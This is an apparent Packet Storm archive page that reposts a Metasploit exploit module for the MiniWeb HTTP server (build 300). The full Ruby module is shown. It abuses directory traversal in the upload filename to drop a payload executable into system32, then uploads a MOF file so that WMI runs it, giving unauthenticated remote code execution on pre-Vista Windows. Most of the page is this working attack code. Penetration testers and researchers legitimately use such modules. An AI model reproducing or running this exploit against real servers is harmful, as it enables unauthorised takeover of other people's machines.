what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MiniWeb (Build 300) Arbitrary File Upload

MiniWeb (Build 300) Arbitrary File Upload
Posted Aug 14, 2013
Authored by Akastep, Brendan Coles | Site metasploit.com

This Metasploit module exploits a vulnerability in MiniWeb HTTP server (build 300). The software contains a file upload vulnerability that allows an unauthenticated remote attacker to write arbitrary files to the file system. Code execution can be achieved by first uploading the payload to the remote machine as an exe file, and then upload another mof file, which enables WMI (Management Instrumentation service) to execute the uploaded payload. Please note that this module currently only works for Windows before Vista.

tags | exploit, remote, web, arbitrary, code execution, file upload
systems | windows
advisories | OSVDB-92198, OSVDB-92200
SHA-256 | b4d11d94bdfda21fed51296f5789bea65f23c1f03f5b7bd525895268f5a560b0

MiniWeb (Build 300) Arbitrary File Upload

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

HttpFingerprint = { :pattern => [ /MiniWeb/ ] }

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "MiniWeb (Build 300) Arbitrary File Upload",
'Description' => %q{
This module exploits a vulnerability in MiniWeb HTTP server (build 300).
The software contains a file upload vulnerability that allows an
unauthenticated remote attacker to write arbitrary files to the file system.

Code execution can be achieved by first uploading the payload to the remote
machine as an exe file, and then upload another mof file, which enables
WMI (Management Instrumentation service) to execute the uploaded payload.
Please note that this module currently only works for Windows before Vista.
},
'License' => MSF_LICENSE,
'Author' =>
[
'AkaStep', # Initial discovery
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
],
'References' =>
[
['OSVDB', '92198'],
['OSVDB', '92200'],
['URL', 'http://dl.packetstormsecurity.net/1304-exploits/miniweb-shelltraversal.txt']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
# Tested on MiniWeb build 300, built on Feb 28 2013
# - Windows XP SP3 (EN)
['MiniWeb build 300 on Windows (Before Vista)', {}]
],
'Privileged' => true,
'DisclosureDate' => "Apr 9 2013",
'DefaultTarget' => 0))

register_options([
Opt::RPORT(8000),
OptInt.new('DEPTH', [true, 'Traversal depth', 10])
], self.class)

end

def peer
"#{rhost}:#{rport}"
end

def check

begin
uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}")
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
end

if !res or res.headers['Server'].empty?
return Exploit::CheckCode::Unknown
elsif res.headers['Server'] =~ /^MiniWeb$/
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Unknown

end

def upload(filename, filedata)

print_status("#{peer} - Trying to upload '#{::File.basename(filename)}'")
uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}")
depth = "../" * (datastore['DEPTH'] + rand(10))

boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{depth}#{filename}\"\r\n"
post_data << "Content-Type: application/octet-stream\r\n"
post_data << "\r\n#{filedata}\r\n"
post_data << "--#{boundary}\r\n"

begin
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
end

return res

end

def exploit
fname = "#{rand_text_alpha(rand(10)+5)}"

# upload exe
exe_name = "WINDOWS/system32/#{fname}.exe"
exe = generate_payload_exe
print_status("#{peer} - Sending executable (#{exe.length.to_s} bytes)")
upload(exe_name, exe)

# upload mof
mof_name = "WINDOWS/system32/wbem/mof/#{fname}.mof"
mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
print_status("#{peer} - Sending MOF (#{mof.length.to_s} bytes)")
upload(mof_name, mof)

# list files to clean up
register_file_for_cleanup("#{::File.basename(exe_name)}")
register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close